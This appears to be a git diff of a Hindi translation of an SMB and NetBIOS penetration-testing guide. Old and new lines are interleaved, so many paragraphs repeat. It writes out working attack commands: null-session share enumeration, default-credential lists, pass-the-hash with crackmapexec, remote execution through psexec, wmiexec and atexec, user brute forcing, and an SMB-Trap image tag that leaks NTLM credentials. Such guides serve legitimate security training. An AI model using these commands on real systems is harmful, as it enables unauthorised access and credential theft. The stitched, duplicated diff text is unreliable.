तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टम पर, पोर्ट 139 का उपयोग देखा जाता है, जो इंगित करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न प्रणालियों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं, और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
शेयर, जो **स्थानीय फ़ाइल सिस्टम के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे एक क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही ढंग से उपयोग करने पर, यह निम्नलिखित की अधिग्रहण की अनुमति देता है:
- ऑपरेटिंग सिस्टम की जानकारी
- माता-पिता डोमेन का विवरण
@ -36,7 +36,7 @@ IPC$ शेयर तक पहुँच एक गुमनाम शून्
```bash
enum4linux -a target_ip
```
उपरोक्त कमांड एक उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ पूर्ण एन्यूमरेशन करने के लिए कैसे किया जा सकता है।
उपरोक्त कमांड एक उदाहरण है कि कैसे `enum4linux` का उपयोग एक लक्षित `target_ip` के खिलाफ पूर्ण एन्यूमरेशन करने के लिए किया जा सकता है।
## NTLM क्या है
@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
SMB संस्करण के लिए संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
SMB संस्करण के संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
- या यह स्क्रिप्ट:
@ -84,12 +84,12 @@ searchsploit microsoft smb
| **उपयोगकर्ता नाम(s)** | **सामान्य पासवर्ड** |
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
| गेस्ट | _(खाली)_ |
| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
| आर्कसर्व | आर्कसर्व, बैकअप |
| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
| टेस्ट, लैब, डेमो | पासवर्ड, टेस्ट, लैब, डेमो |
| अतिथि | _(खाली)_ |
| व्यवस्थापक, admin | _(खाली)_, पासवर्ड, व्यवस्थापक, admin |
| arcserve | arcserve, बैकअप |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, बैकअप | backupexec, बैकअप, arcada |
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
### ब्रूट फोर्स
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### साझा फ़ोल्डरों की सूची
यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने का प्रयास करें।
यह हमेशा अनुशंसित है कि देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/गेस्ट यूजर** का उपयोग करने की कोशिश करें।
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -217,7 +217,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
या स्क्रिप्ट (एक शून्य सत्र का उपयोग करते हुए)
इस स्क्रिप्ट (एक नल सत्र का उपयोग करते हुए)
```bash
#/bin/bash
@ -300,7 +300,7 @@ smbclient //<IP>/<share>
### डोमेन साझा फ़ोल्डर्स खोज
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -310,10 +310,10 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए **पासवर्ड** रख सकती हैं। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **पासवर्ड** हो सकती हैं जो **autologon** के साथ Group Policy के माध्यम से कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए हैं। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
> [!NOTE]
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा** जा सकता है। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ी जा सकती है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैसी संवेदनशील जानकारी **पाएंगे**
## रजिस्ट्री पढ़ें
@ -331,10 +331,10 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची बनाने की अनुमति है? |
| `read only = no` | फ़ाइलों के निर्माण और संशोधन को मना करें? |
| `writable = yes` | उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति दें? |
| `guest ok = yes` | बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति दें? |
| `enable privileges = yes` | विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान करें? |
| `read only = no` | क्या फ़ाइलों के निर्माण और संशोधन को प्रतिबंधित किया गया है? |
| `writable = yes` | क्या उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति है? |
| `guest ok = yes` | क्या बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति है? |
| `enable privileges = yes` | क्या विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान किया जाएगा? |
| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
| `directory mask = 0777` | नए बनाए गए निर्देशिकाओं को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करके) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
**अधिक जानकारी** के लिए [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)और [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
**अधिक जानकारी** [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) और [**smbexec**](../windows-hardening/ntlm/smbexec.md) के बारे में।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@ -388,11 +388,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, इसके बजाय **NTLM**
**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
बिना डिस्क को छुए या नई सेवा चलाए, **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
बिना डिस्क को छुए या नई सेवा चलाए **port 135** के माध्यम से DCOM का उपयोग करके एक कमांड शेल को चुपचाप निष्पादित करें।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**पैरामीटर**`-k` का उपयोग करके आप **केरबेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
**पैरामीटर**`-k` का उपयोग करके आप **केरबेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करते हुए)।\
कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करके)।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"

View File

@ -4,15 +4,15 @@
## **Port 139**
The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को **TCP Port 139** का उपयोग करते हुए एक कमांड जारी करता है।
The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को **TCP Port 139** का उपयोग करते हुए एक आदेश जारी करता है।
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टमों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न प्रणालियों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
@ -20,7 +20,7 @@ The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने भागों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
@ -40,7 +40,7 @@ enum4linux -a target_ip
## NTLM क्या है
यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप इस पृष्ठ को बहुत दिलचस्प पाएंगे जो **NTLM** के बारे में है जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप **NTLM** के बारे में इस पृष्ठ को बहुत दिलचस्प पाएंगे जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
{{#ref}}
../../windows-hardening/ntlm/
@ -54,10 +54,10 @@ nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
SMB संस्करण के संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
SMB संस्करण के लिए संभावित एक्सप्लॉइट्स की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
- या इस स्क्रिप्ट का उपयोग करें:
- या यह स्क्रिप्ट:
```bash
#!/bin/sh
#Author: rewardone
@ -85,10 +85,10 @@ searchsploit microsoft smb
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
| गेस्ट | _(खाली)_ |
| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
| आर्कसर्व | आर्कसर्व, बैकअप |
| टिवोली, tmersrvd | टिवोली, tmersrvd, एडमिन |
| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
### ब्रूट फोर्स
@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए पासवर्ड **शामिल कर सकती हैं**। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स **शामिल करती हैं**
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए **पासवर्ड** रख सकती हैं। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स रती हैं।
> [!NOTE]
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप संवेदनशील जानकारी जैसे **पासवर्ड** **पाएंगे**
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा** जा सकता है। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैसी संवेदनशील जानकारी **पाएंगे**
## रजिस्ट्री पढ़ें
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
**अधिक जानकारी** [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) के बारे में।\
**अधिक जानकारी** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) के बारे में।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@ -419,7 +419,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **ब्रूटफोर्स उपयोगकर्ताओं के क्रेडेंशियल्स**
## **यूजर्स क्रेडेंशियल्स का ब्रूटफोर्स**
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक हो जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
```bash
@ -433,7 +433,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## SMB-Trap
Windows लाइब्रेरी URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करत है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
Windows पुस्तकालय URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करत है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
